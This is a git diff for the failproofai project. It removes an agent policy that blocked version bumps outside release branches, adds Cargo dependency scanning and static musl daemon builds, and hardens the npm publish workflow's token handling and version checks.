diff --git a/.failproofai/policies/block-version-bumps-policies.mjs b/.failproofai/policies/block-version-bumps-policies.mjs deleted file mode 100644 index 2bce0f94..00000000 --- a/.failproofai/policies/block-version-bumps-policies.mjs +++ /dev/null @@ -1,113 +0,0 @@ -/** - * block-version-bumps-policies.mjs — Prevent feature PRs from bumping package.json's - * `version` field. Only release-cut PRs (branch name `luv-cut-X.Y.Z`) may. - * - * Why: PR #270 merged with package.json at 0.0.13-beta.1 because two parallel - * feature branches (#266 OpenCode, #267 Pi) had each been speculatively - * bumping the version. Stacked progression: - * - * #245 Cursor merged 0.0.10-beta.1 - * Pi dev branch 0.0.10-beta.2 - * OpenCode dev branch 0.0.11-beta.1 - * Pi+OpenCode unify merge 0.0.12-beta.1 - * Pi subscribe expand 0.0.13-beta.1 - * #270 merged 0.0.13-beta.1 - * - * PR #284 then over-corrected to 0.0.9-beta.3 (older than the published - * 0.0.9), which broke release readiness. Fix is procedural: only the - * release-cut PR touches the version. - */ -import { customPolicies, allow, deny } from "failproofai"; -import { execSync } from "node:child_process"; - -const VERSION_KEY_RE = /["']version["']\s*:/; -// Standalone semver-quoted value: matches `"0.0.10-beta.0"` but NOT `"react": "0.0.10-beta.0"` -// (the surrounding key would prevent the ^ / $ anchors from matching). Range-prefixed -// dep versions like `"^1.2.3"` also fall through because the leading `"` is followed by `^`, -// not a digit. So a value-only Edit on the package's own version is the only thing this -// catches without false-positiving on dep edits. -const STANDALONE_SEMVER_VALUE_RE = /^["']\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?["']$/; -const PKG_JSON_PATH_RE = /(^|[\\/])package\.json$/; -const VERSION_CMD_RE = /\b(npm|yarn|pnpm|bun(?:\s+pm)?)\s+version\b/; -// Lookaheads catch both orderings: `sed -i 's/.../.../' package.json` AND -// `jq '.version="x"' package.json`. Both must appear within the same shell segment. -const VERSION_FILE_MUNGE_RE = - /\b(sed|awk|jq)\b(?=[^|;&]*package\.json)(?=[^|;&]*\bversion\b)/; -const CUT_BRANCH_RE = /^luv-cut-\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?$/; - -function isOnCutBranch(cwd) { - if (!cwd) return false; - try { - const branch = execSync("git rev-parse --abbrev-ref HEAD", { - cwd, - encoding: "utf8", - timeout: 3000, - }).trim(); - return CUT_BRANCH_RE.test(branch); - } catch { - return false; - } -} - -function editTouchesVersion(oldStr, newStr) { - const o = String(oldStr ?? ""); - const n = String(newStr ?? ""); - if (VERSION_KEY_RE.test(o) || VERSION_KEY_RE.test(n)) return true; - // Value-only swap: both sides are bare semver-quoted values that differ. - // Catches `Edit { old_string: '"0.0.9-beta.3"', new_string: '"0.0.10-beta.0"' }`. - const trimO = o.trim(); - const trimN = n.trim(); - return ( - STANDALONE_SEMVER_VALUE_RE.test(trimO) && - STANDALONE_SEMVER_VALUE_RE.test(trimN) && - trimO !== trimN - ); -} - -const DENY_REASON = - "Modifying package.json version is reserved for release-cut PRs " + - "(branch name pattern: luv-cut-X.Y.Z). Feature PRs must leave the version " + - "field alone — speculative bumps stack across PRs and produce drift " + - "(see PR #270, where the version jumped 0.0.10-beta.1 → 0.0.13-beta.1 because " + - "two parallel feature branches each bumped independently, and PR #284 which " + - "then over-corrected to 0.0.9-beta.3, older than the already-published 0.0.9). " + - "If you're cutting a release, switch to a `luv-cut-X.Y.Z` branch first."; - -customPolicies.add({ - name: "block-version-bumps", - description: - "Block agents from bumping package.json version outside of release-cut branches", - match: { events: ["PreToolUse"] }, - fn: async (ctx) => { - const cwd = ctx.session?.cwd; - - if (ctx.toolName === "Bash") { - const cmd = String(ctx.toolInput?.command ?? ""); - const hits = VERSION_CMD_RE.test(cmd) || VERSION_FILE_MUNGE_RE.test(cmd); - if (!hits) return allow(); - if (isOnCutBranch(cwd)) return allow(); - return deny(DENY_REASON); - } - - if (ctx.toolName === "Edit" || ctx.toolName === "MultiEdit" || ctx.toolName === "Write") { - const filePath = String(ctx.toolInput?.file_path ?? ""); - if (!PKG_JSON_PATH_RE.test(filePath)) return allow(); - - let touchesVersion = false; - if (ctx.toolName === "Write") { - touchesVersion = VERSION_KEY_RE.test(String(ctx.toolInput?.content ?? "")); - } else if (ctx.toolName === "Edit") { - touchesVersion = editTouchesVersion(ctx.toolInput?.old_string, ctx.toolInput?.new_string); - } else { - const edits = Array.isArray(ctx.toolInput?.edits) ? ctx.toolInput.edits : []; - touchesVersion = edits.some((e) => editTouchesVersion(e?.old_string, e?.new_string)); - } - - if (!touchesVersion) return allow(); - if (isOnCutBranch(cwd)) return allow(); - return deny(DENY_REASON); - } - - return allow(); - }, -}); diff --git a/.failproofai/policies/workflow-policies.mjs b/.failproofai/policies/workflow-policies.mjs index 374d57d8..2906df9d 100644 --- a/.failproofai/policies/workflow-policies.mjs +++ b/.failproofai/policies/workflow-policies.mjs @@ -92,8 +92,7 @@ customPolicies.add({ "Before creating the PR, ensure CHANGELOG.md entries land under a versioned section so the PR ships release-ready:\n" + " 1. Read `version` from package.json (e.g. `0.0.10-beta.10`).\n" + " 2. Ensure your changelog entries are under a `## ` heading. If that heading does not exist yet, create it above the previous version's section. There is NO `## Unreleased` section — entries always go under a dated, versioned heading.\n" + - " 3. If you are on a `luv-cut-X.Y.Z` branch, the cut PR handles version bump itself.\n" + - " 4. Do NOT bump `package.json`'s `version` outside of `luv-cut-*` branches — that is enforced by `block-version-bumps`." + " 3. If you are on a `luv-cut-X.Y.Z` branch, the cut PR handles version bump itself." ); }, }); diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 5f9210b9..ca8215d0 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -22,3 +22,20 @@ updates: interval: weekly day: monday open-pull-requests-limit: 5 + + # The Rust workspace. Absent until the daemon shipped, so `Cargo.lock` was + # updated only by hand — for a dependency tree that includes the TLS stack + # compiled into a root-installed system service. + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + day: monday + open-pull-requests-limit: 5 + groups: + # One PR for the whole tree rather than five a week: these crates are + # verified together by `cargo test --workspace`, and splitting them means + # each PR rebuilds the same lockfile the others just changed. + rust-dependencies: + patterns: + - "*" diff --git a/.github/workflows/build-daemon.yml b/.github/workflows/build-daemon.yml index d3724b9d..bcdc0591 100644 --- a/.github/workflows/build-daemon.yml +++ b/.github/workflows/build-daemon.yml @@ -60,10 +60,19 @@ jobs: # architectures (including a native arm64 runner) rather than # `cross`/Docker cross-compilation — a real linker for the target # triple, no QEMU emulation overhead. - - target: x86_64-unknown-linux-gnu + # + # musl, NOT gnu: a glibc build links against the runner's own libc, + # and `ubuntu-latest` is 24.04 (glibc 2.39), so the 1.0.0-beta.0 + # binaries refused to start on Ubuntu 22.04, Debian 12, RHEL 9 and + # Amazon Linux 2023 with `version GLIBC_2.39 not found` — measured, + # not predicted. Pinning an older runner would only move the floor + # (22.04 is glibc 2.35, still above RHEL 9's 2.34); a static musl + # binary has no floor at all. The daemon is a socket supervisor with + # no NSS or dlopen use, which is what makes static linking safe here. + - target: x86_64-unknown-linux-musl os: ubuntu-latest platform: linux-x64 - - target: aarch64-unknown-linux-gnu + - target: aarch64-unknown-linux-musl os: ubuntu-24.04-arm platform: linux-arm64 # macOS cannot be cross-compiled reliably from Linux (system @@ -90,6 +99,14 @@ jobs: - run: rustup target add ${{ matrix.target }} + # `rustup target add` ships the musl std library but not a musl linker; + # without musl-tools the leg fails at link time with + # `linker 'musl-gcc' not found`. Both Linux runners are native to their + # own target, so the distro package is the right linker for the triple. + - name: Install the musl toolchain + if: contains(matrix.target, 'musl') + run: sudo apt-get update -qq && sudo apt-get install -y -qq musl-tools + # Split restore/save rather than `actions/cache@v6`, which does both. # This job runs on `pull_request` AND on the release path (via # `workflow_call` from publish.yml, where `github.event_name` is the @@ -139,10 +156,22 @@ jobs: run: | BIN="target/${{ matrix.target }}/release/failproofaid" "$BIN" --version + # A dynamically linked "static" build would reintroduce the glibc + # floor silently — the binary still runs here, on the runner that + # built it, and only fails on the users' older distros. Assert the + # property on the artifact itself. + if [[ "${{ matrix.target }}" == *musl* ]]; then + file "$BIN" + if ldd "$BIN" 2>&1 | grep -qv "not a dynamic executable\|statically linked"; then + echo "::error::${{ matrix.platform }} is not statically linked — it would inherit the runner's glibc floor" + ldd "$BIN" || true + exit 1 + fi + fi gzip -9 -c "$BIN" > "failproofaid-${{ matrix.platform }}.gz" ls -l "failproofaid-${{ matrix.platform }}.gz" - - uses: actions/upload-artifact@v4 + - uses: actions/upload-artifact@v7 with: name: failproofaid-${{ matrix.platform }} path: failproofaid-${{ matrix.platform }}.gz diff --git a/.github/workflows/build-image.yml b/.github/workflows/build-image.yml index 692ace2d..2a0c80f9 100644 --- a/.github/workflows/build-image.yml +++ b/.github/workflows/build-image.yml @@ -47,7 +47,7 @@ jobs: uses: docker/setup-buildx-action@bb05f3f5519dd87d3ba754cc423b652a5edd6d2c # v4.2.0 - name: Log in to GHCR - uses: docker/login-action@abd2ef45e78c5afb21d64d4ca52ee8550d9572c7 # v4.5.1 + uses: docker/login-action@dbcb813823bdd20940b903addbd779551569679f # v4.6.0 with: registry: ghcr.io username: ${{ github.actor }} diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 159cfa7b..93ff0c8a 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -55,6 +55,24 @@ jobs: MISMATCH=1 fi done + # The daemon binaries DO ship as npm platform packages + # (@failproofai/failproofaid--), but their pins are injected + # into package.json at publish time by + # scripts/build-daemon-packages.mjs — the same invocation that + # publishes them, so they cannot drift — and are deliberately absent + # from the committed tree. Nothing to check here. + # + # The Cargo version still has to match, because the release tag the + # CLI builds its download URL from is the npm version, and the binary + # at that URL reports the Cargo one. + # Check the Cargo workspace version (failproofaid) against root package.json + if [ -f Cargo.toml ]; then + CARGO_VERSION=$(grep -m1 '^version = ' Cargo.toml | sed -E 's/version = "(.*)"/\1/') + if [ "$CARGO_VERSION" != "$ROOT_VERSION" ]; then + echo "::error file=Cargo.toml::Version mismatch: Cargo.toml has $CARGO_VERSION, expected $ROOT_VERSION" + MISMATCH=1 + fi + fi if [ "$MISMATCH" -eq 1 ]; then echo "::error::Version mismatch detected across package.json files" exit 1 @@ -75,6 +93,85 @@ jobs: timeout_minutes: 5 command: bunx tsc --noEmit + rust-quality: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7.0.1 + with: + # This job runs `cargo clippy`/`cargo test` over the full + # dependency tree, executing third-party build scripts. The + # default (`true`) would leave GITHUB_TOKEN in .git/config where + # any of them could read it; nothing here needs push access. + persist-credentials: false + + # Stage 1 lands an empty Cargo workspace (zero crates/*/Cargo.toml) so + # the CI plumbing itself can go green before any Rust code exists. + # `cargo build/clippy/test --workspace` (and even `cargo fmt --all`) + # all hard-error on a zero-member workspace ("the workspace has no + # members"), so every real step below is gated on at least one crate + # being present rather than relying on any of them to no-op cleanly. + - name: Detect crates + id: crates + run: | + if ls crates/*/Cargo.toml >/dev/null 2>&1; then + echo "present=true" >> "$GITHUB_OUTPUT" + else + echo "present=false" >> "$GITHUB_OUTPUT" + echo "No crates/*/Cargo.toml yet — rust-quality has nothing to check." + fi + + - if: steps.crates.outputs.present == 'true' + run: rustup show + + # cargo test spawns the real TS worker via `bun bin/failproofai-worker.mjs` + # (crates/failproofaid/src/server.rs's live end-to-end test) — bun has to + # be on PATH for that test, not just for the TS-side jobs. + - if: steps.crates.outputs.present == 'true' + uses: oven-sh/setup-bun@v2 + with: + bun-version: latest + + # …and bun on PATH is not enough on its own. That worker runs the raw + # TypeScript, so it resolves the handler's real dependency tree at + # runtime rather than a bundle's. The moment anything under src/hooks + # imports a third-party package, this job fails with a bun ENOENT that + # reads like a Rust problem — the failure surfaces as "worker process + # exited before creating its socket". Production is unaffected, because + # dist/worker.mjs bundles those deps; only this path needs them on disk. + - if: steps.crates.outputs.present == 'true' + uses: actions/cache@v6 + with: + path: ~/.bun/install/cache + key: bun-${{ runner.os }}-${{ hashFiles('bun.lock') }} + restore-keys: bun-${{ runner.os }}- + + - if: steps.crates.outputs.present == 'true' + name: Install worker dependencies + run: bun install --frozen-lockfile --ignore-scripts + + - if: steps.crates.outputs.present == 'true' + uses: actions/cache@v6 + with: + path: | + ~/.cargo/registry/index + ~/.cargo/registry/cache + ~/.cargo/git/db + target + key: cargo-${{ runner.os }}-${{ hashFiles('rust-toolchain.toml', 'Cargo.lock', 'crates/*/Cargo.toml') }} + restore-keys: cargo-${{ runner.os }}- + + - name: cargo fmt --check + if: steps.crates.outputs.present == 'true' + run: cargo fmt --all -- --check + + - name: cargo clippy + if: steps.crates.outputs.present == 'true' + run: cargo clippy --workspace --all-targets -- -D warnings + + - name: cargo test + if: steps.crates.outputs.present == 'true' + run: cargo test --workspace + test: runs-on: ubuntu-latest strategy: diff --git a/.github/workflows/osv-scanner.yml b/.github/workflows/osv-scanner.yml index e2b9705b..70d1f0e6 100644 --- a/.github/workflows/osv-scanner.yml +++ b/.github/workflows/osv-scanner.yml @@ -41,8 +41,13 @@ jobs: with: # No git ops after checkout; don't leave the token in .git/config. persist-credentials: false - - name: Scan bun.lock for known-vulnerable / malicious dependencies + # Both lockfiles, in one scan. `Cargo.lock`'s 238 packages were covered by + # nothing at all — not this job, which was only ever given `bun.lock`, and + # not Dependabot, which had no `cargo` ecosystem — for a TLS stack that + # compiles into a root-installed system service. + - name: Scan bun.lock and Cargo.lock for known-vulnerable / malicious dependencies uses: google/osv-scanner-action/osv-scanner-action@9fd1bcce27f67e3bd819a0a7620e332803dc43bc # v2.3.8 with: scan-args: |- --lockfile=bun.lock + --lockfile=Cargo.lock diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml index 06bfa9bf..293de413 100644 --- a/.github/workflows/publish.yml +++ b/.github/workflows/publish.yml @@ -35,6 +35,32 @@ on: type: boolean default: false +# Two entry points can fire for the same version — a `release: published` and a +# `workflow_dispatch` — and this pipeline is not safe to run twice at once. +# Overlapping runs both pass the preflight's "this version is unpublished" +# `npm view` check before either has published, and the "Bump version for next +# development cycle" step then has both racing an unguarded +# `git fetch → checkout main → commit → push`, where the loser's push simply +# fails. `ci.yml` and `bump-platform-submodule.yml` both serialize for the same +# reason; this one was the exception. +# +# NOT `cancel-in-progress`: a half-cancelled publish is the one outcome worse +# than a queued one — the release assets attach before the npm publish, so a run +# killed between them leaves a tag whose binaries exist and whose package does +# not. +# A CONSTANT group, not one keyed on `github.ref`. The two triggers this block +# exists to serialize never share a ref — `release: published` runs as +# `refs/tags/vX.Y.Z` and `workflow_dispatch` as `refs/heads/main` — so +# `publish-${{ github.ref }}` put them in DIFFERENT groups and queued neither +# behind the other, which is precisely the pair the comment above describes. +# `npm view` reads through a cache documented to lag up to two minutes, so both +# could pass the preflight's "this version is unpublished" check and proceed. +# Nothing about this pipeline is per-ref anyway: the version-bump push races on +# `main` whatever ref produced it. +concurrency: + group: publish + cancel-in-progress: false + jobs: # Everything cheap and fail-fast lives here: version resolution, the npm # credential check (so a bad token costs seconds rather than a 20-minute @@ -136,6 +162,28 @@ jobs: echo "Next version: $NEXT_VERSION" echo "Dry run: $DRY_RUN" + # npm refuses to overwrite a published version, and the root package is + # the LAST thing this pipeline publishes — so without this check a burned + # version still runs the whole cross-compile matrix, attaches release + # assets, and publishes the four @failproofai/failproofaid-- + # packages before dying on `E403 You cannot publish over the previously + # published versions`. That leaves four orphan platform packages on the + # registry at a version whose CLI is already published without pins to + # them, and the orphans cannot be unpublished after 72 hours. It is the + # exact failure a dispatch from a branch hits by default, because a + # workflow_dispatch has no version input: PUBLISH_VERSION is whatever + # package.json carries, and a feature branch's package.json is routinely + # a version that shipped long ago. + - name: Verify the version is unpublished + env: + PUBLISH_VERSION: ${{ steps.version.outputs.publish_version }} + run: | + if npm view "failproofai@$PUBLISH_VERSION" version >/dev/null 2>&1; then + echo "::error::failproofai@$PUBLISH_VERSION is already published — npm will reject it. Bump the version on a release-cut branch, or dispatch from a ref that carries an unpublished version." + exit 1 + fi + echo "failproofai@$PUBLISH_VERSION is not on the registry yet." + # Who may cut a STABLE release. Prereleases are deliberately open: a beta # or a `next` build is how anyone with write access ships a branch for # testing, and npm's `beta`/`next` tags are opt-in. A stable release is @@ -228,34 +276,117 @@ jobs: if: needs.preflight.outputs.has_daemon == 'true' uses: ./.github/workflows/build-daemon.yml - # Attaches the binaries + their checksums to the GitHub Release BEFORE npm - # publishes, because that release is where the installed CLI fetches its - # daemon from. + # The CLI's own installable artifact. Deliberately NOT gated on has_daemon: + # a release should carry an installable `failproofai` whether or not that ref + # builds a daemon, and this is the only way to install the CLI without the + # npm registry (`npm i -g ./failproofai-.tgz`). + cli-tarball: + needs: preflight + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7.0.1 + with: + persist-credentials: false + + - uses: oven-sh/setup-bun@v2 + with: + bun-version: latest + + - uses: actions/cache@v6 + with: + path: ~/.bun/install/cache + key: bun-${{ runner.os }}-${{ hashFiles('bun.lock') }} + restore-keys: bun-${{ runner.os }}- + + - name: Install dependencies + uses: nick-fields/retry@v4 + with: + max_attempts: 3 + timeout_minutes: 5 + command: bun install --frozen-lockfile + + - uses: actions/setup-node@v7 + with: + node-version: "20" + + # The tarball has to be packed at the version being published, not at + # whatever the ref happens to carry — a release from a tag bumps the + # version in the publish job, and an asset named for a different version + # than it contains is worse than no asset. + - name: Set publish version in package.json + if: needs.preflight.outputs.publish_version != needs.preflight.outputs.pkg_version + env: + PUBLISH_VERSION: ${{ needs.preflight.outputs.publish_version }} + run: npm version "$PUBLISH_VERSION" --no-git-tag-version + + - name: Build + run: bun run build + + - name: Pack the CLI tarball + run: | + # --ignore-scripts: the build above already ran, and `prepare` would + # fire a second full Next.js build for nothing. + npm pack --ignore-scripts + ls -l failproofai-*.tgz + + - uses: actions/upload-artifact@v7 + with: + name: failproofai-tarball + path: failproofai-*.tgz + if-no-files-found: error + + # Attaches the daemon binaries, the CLI tarball and their checksums to the + # GitHub Release BEFORE npm publishes, because that release is where an + # installed CLI fetches its daemon from when npm did not supply one. release-assets: - needs: [preflight, daemon] - if: needs.preflight.outputs.has_daemon == 'true' + needs: [preflight, daemon, cli-tarball] + # `daemon` is skipped on a ref with no Rust workspace, which must still + # attach the CLI tarball — but a daemon FAILURE has to stop the release, + # and a skipped dependency is what a failed one leaves behind. + if: >- + always() && + needs.preflight.result == 'success' && + needs.cli-tarball.result == 'success' && + (needs.daemon.result == 'success' || needs.daemon.result == 'skipped') runs-on: ubuntu-latest permissions: contents: write steps: - - uses: actions/download-artifact@v4 + - uses: actions/download-artifact@v8 + if: needs.preflight.outputs.has_daemon == 'true' with: pattern: failproofaid-* path: release-assets merge-multiple: true + - uses: actions/download-artifact@v8 + with: + name: failproofai-tarball + path: release-assets + - name: Assemble SHA256SUMS working-directory: release-assets + env: + HAS_DAEMON: ${{ needs.preflight.outputs.has_daemon }} run: | - sha256sum failproofaid-*.gz > SHA256SUMS - cat SHA256SUMS - # The CLI refuses to install a binary it cannot match to a checksum, - # so a short list here is a broken release, not a partial one. - COUNT=$(grep -c . SHA256SUMS) - if [ "$COUNT" -ne 4 ]; then - echo "::error::Expected 4 platform binaries, found $COUNT" + : > SHA256SUMS + if [ "$HAS_DAEMON" = "true" ]; then + sha256sum failproofaid-*.gz >> SHA256SUMS + # The CLI refuses to install a binary it cannot match to a checksum, + # so a short list here is a broken release, not a partial one. + COUNT=$(grep -c . SHA256SUMS) + if [ "$COUNT" -ne 4 ]; then + echo "::error::Expected 4 platform binaries, found $COUNT" + exit 1 + fi + fi + # Attached on every release, daemon or not. + if ! ls failproofai-*.tgz >/dev/null 2>&1; then + echo "::error::No CLI tarball to attach" exit 1 fi + sha256sum failproofai-*.tgz >> SHA256SUMS + cat SHA256SUMS - name: Attach assets to the release if: ${{ !inputs.dry_run }} @@ -283,19 +414,21 @@ jobs: if: ${{ inputs.dry_run }} env: TAG: ${{ needs.preflight.outputs.tag }} - run: echo "::notice::Dry run — built and checksummed 4 binaries, attached nothing to $TAG." + run: echo "::notice::Dry run — checksummed the CLI tarball and any platform binaries, attached nothing to $TAG." publish: - needs: [preflight, daemon, release-assets] + needs: [preflight, daemon, cli-tarball, release-assets] # Both daemon jobs are skipped on a ref with no Rust workspace, which must # not block the npm publish. A FAILURE in either one must, though — and # that is why `daemon` is checked explicitly rather than relied on through # release-assets: a failed dependency leaves the dependent job `skipped`, # which would otherwise read here as "nothing to do" and publish a package - # whose daemon binaries were never built. + # whose daemon binaries were never built. `cli-tarball` runs the same build + # this job publishes, so its failure is never "nothing to do" either. if: >- always() && needs.preflight.result == 'success' && + needs.cli-tarball.result == 'success' && (needs.daemon.result == 'success' || needs.daemon.result == 'skipped') && (needs.release-assets.result == 'success' || needs.release-assets.result == 'skipped') runs-on: ubuntu-latest @@ -318,9 +451,17 @@ jobs: - uses: actions/checkout@v7.0.1 with: fetch-depth: 0 - # Persist the app token so the version-bump `git push origin main` - # below authenticates as the bypass actor, not the default token. - token: ${{ steps.app-token.outputs.token }} + # NOT persisted. This token bypasses the org ruleset on `main`, and + # persisting it writes it into `.git/config` for the whole job — where + # it sat, readable, through `bun install` (which runs `prepare`, a full + # Next build) and every dependency lifecycle script, long before the + # one step at the end that actually needs it. Any compromised + # build-time dependency could read it and push to `main` unreviewed. + # The version-bump step supplies it directly to the single `git push` + # that needs it instead. `ci.yml` and `build-daemon.yml` were hardened + # for the identical risk; this job, holding the more dangerous token, + # was missed. + persist-credentials: false - uses: oven-sh/setup-bun@v2 with: @@ -352,18 +493,79 @@ jobs: npm version "$PUBLISH_VERSION" --no-git-tag-version echo "Updated package.json to $PUBLISH_VERSION" + # The four @failproofai/failproofaid- packages, from the same + # binaries the release gets. They MUST publish before the root package + # below, which pins them as optionalDependencies: an optional dependency + # npm cannot resolve is a 404 in every install, which is exactly how the + # first attempt at npm-shipping the daemon failed. + # Into RUNNER_TEMP, never the checkout. `npm publish` re-runs `prepare`, + # so the Next build happens again after this step, and its file tracing + # pulls the whole project root into `.next/standalone` — a dry run with + # these downloaded into the workspace shipped 16 MB of daemon `.gz` + # assets inside the published CLI tarball. + - name: Download the daemon binaries + if: needs.daemon.result == 'success' + uses: actions/download-artifact@v8 + with: + pattern: failproofaid-* + path: ${{ runner.temp }}/daemon-artifacts + merge-multiple: true + + - name: Publish the failproofaid platform packages + if: needs.daemon.result == 'success' + env: + DIST_TAG: ${{ needs.preflight.outputs.dist_tag }} + DRY_RUN: ${{ needs.preflight.outputs.dry_run }} + PUBLISH_VERSION: ${{ needs.preflight.outputs.publish_version }} + ARTIFACTS: ${{ runner.temp }}/daemon-artifacts + NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} + run: | + # --pin-root writes the four pins into package.json for the publish + # below. It runs in the same step as the publish that makes those + # names resolvable, so the two can never disagree. The version-bump + # step later does `git checkout -- package.json`, so this edit never + # reaches main. Staging defaults to the temp dir for the same reason + # the artifacts land there. + ARGS=(--artifacts "$ARTIFACTS" --dist-tag "$DIST_TAG" --version "$PUBLISH_VERSION" --pin-root) + if [[ "$DRY_RUN" == "true" ]]; then ARGS+=(--dry-run); fi + node scripts/build-daemon-packages.mjs "${ARGS[@]}" + + # Built HERE, explicitly, rather than left to the `prepare` that + # `npm publish` would otherwise run for us. + # + # The rebuild itself is load-bearing and must stay: `bun build` INLINES + # `package.json`'s version into dist/cli.mjs and dist/worker.mjs, and + # `daemon-download.ts` constructs the GitHub Release URL from that + # version — so a tarball built before the `npm version` step above would + # ship a CLI that reports the wrong version and downloads its daemon from + # the wrong tag. What changes is only WHO holds the npm token while it + # runs: `npm publish`'s own `prepare` inherits that step's environment, so + # NODE_AUTH_TOKEN was exported into a full Next build and every + # dependency it loads. Splitting the build out keeps the token scoped to + # the one command that needs a registry credential. + # + # Order is unchanged — this still runs after `npm version` and after the + # daemon artifacts land in RUNNER_TEMP (never the checkout, so Next's file + # tracing cannot sweep them into `.next/standalone`). + - name: Build the tarball contents + run: bun run build + - name: Publish env: DIST_TAG: ${{ needs.preflight.outputs.dist_tag }} DRY_RUN: ${{ needs.preflight.outputs.dry_run }} NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} run: | + # --ignore-scripts: the build above already produced exactly what + # `prepare` would have. Re-running it here is what put the publish + # token inside the bundler. The sibling `cli-tarball` job already + # packs with --ignore-scripts for this reason. if [[ "$DRY_RUN" == "true" ]]; then # --provenance is dropped here on purpose: attestation is a # registry-side write that has nothing to validate in a dry run. - npm publish --dry-run --tag "$DIST_TAG" + npm publish --dry-run --ignore-scripts --tag "$DIST_TAG" else - npm publish --provenance --tag "$DIST_TAG" + npm publish --provenance --ignore-scripts --tag "$DIST_TAG" fi - name: Publish alias packages @@ -376,6 +578,83 @@ jobs: if [[ "$DRY_RUN" == "true" ]]; then ARGS+=(--dry-run); fi node scripts/publish-aliases.mjs "${ARGS[@]}" + # Every name above takes its version from the same PUBLISH_VERSION, so a + # run that completes is in lockstep by construction. This checks the + # thing construction cannot: that the REGISTRY ended up that way. The + # daemon story only works if `failproofai@V` and all four + # `@failproofai/failproofaid--@V` exist together — a version + # where the CLI resolved but a platform package did not is an install + # that 404s on an optionalDependency, and one where the platform + # packages landed but the CLI did not is four orphans nothing pins. + # Both halves of that split have already shipped once each (beta.1-3 and + # beta.0 respectively), from partial runs that each reported success. + # Publishes are not transactional and npm's own publish step can no-op on + # an already-published version, so the only way to know is to ask. + - name: Verify every package published at the same version + if: ${{ needs.preflight.outputs.dry_run != 'true' }} + env: + PUBLISH_VERSION: ${{ needs.preflight.outputs.publish_version }} + HAS_DAEMON: ${{ needs.preflight.outputs.has_daemon }} + run: | + NAMES=("failproofai") + if [[ "$HAS_DAEMON" == "true" ]]; then + for P in linux-x64 linux-arm64 darwin-x64 darwin-arm64; do + NAMES+=("@failproofai/failproofaid-$P") + done + fi + + MISSING=() + for NAME in "${NAMES[@]}"; do + # The registry is a read-through cache, so a just-published version + # can take a moment to be visible everywhere. Check immediately, + # then back off 10s / 30s / 1m / 2m before calling it missing — + # long enough that propagation is not mistaken for a failed publish, + # short enough that a genuinely failed publish is still reported in + # the same run rather than hours later by a user. + FOUND="" + for DELAY in 0 10 30 60 120; do + [[ "$DELAY" -gt 0 ]] && sleep "$DELAY" + if npm view "$NAME@$PUBLISH_VERSION" version >/dev/null 2>&1; then + FOUND=1 + break + fi + done + if [[ -n "$FOUND" ]]; then + echo " ok $NAME@$PUBLISH_VERSION" + else + echo " MISSING $NAME@$PUBLISH_VERSION" + MISSING+=("$NAME") + fi + done + + if [[ ${#MISSING[@]} -gt 0 ]]; then + echo "::error::Version split on the registry — these are not published at $PUBLISH_VERSION: ${MISSING[*]}. Every package in a release must carry the same version." + exit 1 + fi + + # The pins are written at publish time, so a root package that + # resolved but points at a different version is a silent downgrade + # for the daemon half. + if [[ "$HAS_DAEMON" == "true" ]]; then + PINS=$(npm view "failproofai@$PUBLISH_VERSION" optionalDependencies --json) + BAD=$(node -e ' + const pins = JSON.parse(process.argv[1] || "{}"); + const want = process.argv[2]; + const bad = Object.entries(pins) + .filter(([n]) => n.startsWith("@failproofai/failproofaid-")) + .filter(([, v]) => v !== want) + .map(([n, v]) => `${n}@${v}`); + if (Object.keys(pins).length === 0) bad.push("(no optionalDependencies at all)"); + console.log(bad.join(", ")); + ' "$PINS" "$PUBLISH_VERSION") + if [[ -n "$BAD" ]]; then + echo "::error::failproofai@$PUBLISH_VERSION pins daemon packages at the wrong version: $BAD" + exit 1 + fi + fi + + echo "All packages published at $PUBLISH_VERSION." + # The bump targets main unconditionally — it checks main out and pushes to # it — so it must never run for a build that did not come from main. A # dispatch from a feature branch would otherwise rewrite main's version @@ -387,6 +666,9 @@ jobs: (github.event_name == 'release' || github.ref_name == 'main') env: NEXT_VERSION: ${{ needs.preflight.outputs.next_version }} + # Scoped to this step alone rather than persisted in `.git/config` for + # the whole job — see the checkout above. + APP_TOKEN: ${{ steps.app-token.outputs.token }} run: | git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" @@ -398,12 +680,41 @@ jobs: npm version "$NEXT_VERSION" --no-git-tag-version - git add package.json + # The Cargo workspace version has to move WITH package.json. + # `ci.yml`'s version-consistency job compares the two, and this commit + # carries `[skip ci]` — so a bump that touched only package.json left + # main red, and the failure surfaced on the next unrelated PR as + # "Version mismatch: Cargo.toml has , expected " from a + # change that had nothing to do with it. Every release did this. + # + # Anchored to the [workspace.package] table rather than a bare + # `^version = `: the file has several `version = ` lines and only the + # first one under that heading is the workspace version. + perl -0pi -e 's/(\[workspace\.package\]\n(?:[^\[]*?\n)?version = ")[^"]*(")/${1}'"$NEXT_VERSION"'${2}/' Cargo.toml + CARGO_VERSION=$(perl -0ne 'print $1 if /\[workspace\.package\][^\[]*?version = "([^"]*)"/' Cargo.toml) + if [ "$CARGO_VERSION" != "$NEXT_VERSION" ]; then + echo "::error file=Cargo.toml::Failed to bump the Cargo workspace version (found '$CARGO_VERSION', wanted '$NEXT_VERSION')" + exit 1 + fi + # Both crates carry `version.workspace = true`, so their lockfile + # entries move with it. Without this the tree is left with a + # Cargo.lock that disagrees with Cargo.toml, which fails any + # `--locked` build. + cargo update --workspace --offline || cargo update --workspace + + git add package.json Cargo.toml Cargo.lock git commit -m "chore: bump version to $NEXT_VERSION [skip ci]" - # Authenticated as the version-bot App (persisted by the checkout above), - # which bypasses the ruleset's pull-request requirement on main. - git push origin main + # Authenticated as the version-bot App, which bypasses the ruleset's + # pull-request requirement on main. Passed on this one command rather + # than persisted in `.git/config`, so it is never on disk while build + # scripts run. `-c http.extraheader` is used because a token in the + # remote URL would be echoed by git's own error output on a failed + # push; `::add-mask::` covers the log, not the URL git prints. + echo 